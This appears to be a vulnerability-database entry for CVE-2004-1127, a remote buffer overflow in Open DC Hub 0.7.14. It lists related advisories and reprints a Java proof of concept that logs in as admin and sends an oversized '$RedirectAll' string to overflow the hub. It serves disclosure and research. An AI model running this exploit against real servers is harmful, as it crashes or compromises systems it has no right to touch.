Open DC Hub 0.7.14 - Remote Buffer Overflow
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Open DC Hub RedirectAll Value Remote Buffer Overflow | 30 Nov 200400:00 | – | nessus | |
| GLSA-200411-37 : Open DC Hub: Remote code execution | 29 Nov 200400:00 | – | nessus | |
| Open DC Hub RedirectAll Value Remote Overflow | 25 Nov 200400:00 | – | nessus | |
| CVE-2004-1127 | 5 Dec 200405:00 | – | cve | |
| CVE-2004-1127 | 5 Dec 200405:00 | – | cvelist | |
| EUVD-2004-1125 | 7 Oct 202500:30 | – | euvd | |
| Open DC Hub: Remote code execution | 28 Nov 200400:00 | – | gentoo | |
| CVE-2004-1127 | 10 Jan 200505:00 | – | nvd | |
| FreeBSD Ports: opendchub | 4 Sep 200800:00 | – | openvas | |
| Gentoo Security Advisory GLSA 200411-37 (opendchub) | 24 Sep 200800:00 | – | openvas |
10
source: https://www.securityfocus.com/bid/11747/info
A remote buffer overflow vulnerability reportedly affects the Open DC Hub. This issue is due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into finite process buffers.
An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application. This may facilitate unauthorized access or privilege escalation.
/*
Open Dc Hub (0.7.14) - Buffer Overflow - Proof Of Concept
Coded by: Donato Ferrante
*/
import java.net.Socket;
import java.net.UnknownHostException;
import java.net.SocketTimeoutException;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintStream;
public class OpenDcHub0714_BOF_poc {
private static int PORT = 53696;
private static int MAXSZ = 512;
private static String VERSION = "0.1";
public static void main(String [] args){
System.out.println(
"\n\n" +
"Open Dc Hub - Buffer Overflow - Proof Of Concept\n" +
"Version: " + VERSION + "\n" +
"coded by: Donato Ferrante\n" +
"e-mail: [email protected]\n" +
"web: www.autistici.org/fdonato\n\n"
);
if(args.length <= 1){
System.out.println(
"Usage: java OpenDcHub0714_BOF_poc <host> <port> <admin_password>\n" +
"Note: default port is 53696.\n"
);
System.exit(-1);
}
String host = args[0];
String admin_password = args[args.length - 1];
int port = PORT;
try{
if(args.length > 2)
port = Integer.parseInt(args[1]);
}catch(Exception e){ port = PORT; }
try{
Socket socket = new Socket(host, port);
socket.setSoTimeout(10000);
BufferedReader in_stream = new BufferedReader(new InputStreamReader(socket.getInputStream()));
PrintStream out_stream = new PrintStream(socket.getOutputStream());
System.out.println(in_stream.readLine());
System.out.println(in_stream.readLine());
System.out.println(in_stream.readLine());
System.out.println(in_stream.readLine());
System.out.println("Logging...");
out_stream.println("$adminpass " + admin_password +"|\n");
in_stream.readLine();
String err = in_stream.readLine();
if(err.toLowerCase().indexOf("bad") >= 0){
System.out.println("Login failed...");
System.out.println("Exiting...");
System.exit(-1);
}
else
System.out.println("Logged in...");
System.out.println("Building test string to inject...");
String buff = build();
Thread.sleep(1500);
System.out.println("Injecting test string...");
out_stream.println(buff);
Thread.sleep(1500);
System.out.println("Proof_Of_Concept terminated.");
}catch(SocketTimeoutException ste){System.out.println("Socket timeout."); System.exit(-1);}
catch(UnknownHostException uhe){ System.out.println("Host: " + host + " unknown.."); System.exit(-1); }
catch(InterruptedException ie){ System.out.println("Thread warning...");}
catch(Exception ioe){ System.out.println("Unable to create the socket!"); System.exit(-1);}
}
private static String build(){
String over = "";
for(int i = 0; i < MAXSZ; i++)
over += 0x61;
String ret = "$RedirectAll " + over + "|\n";
return ret;
}
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Mar 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.14614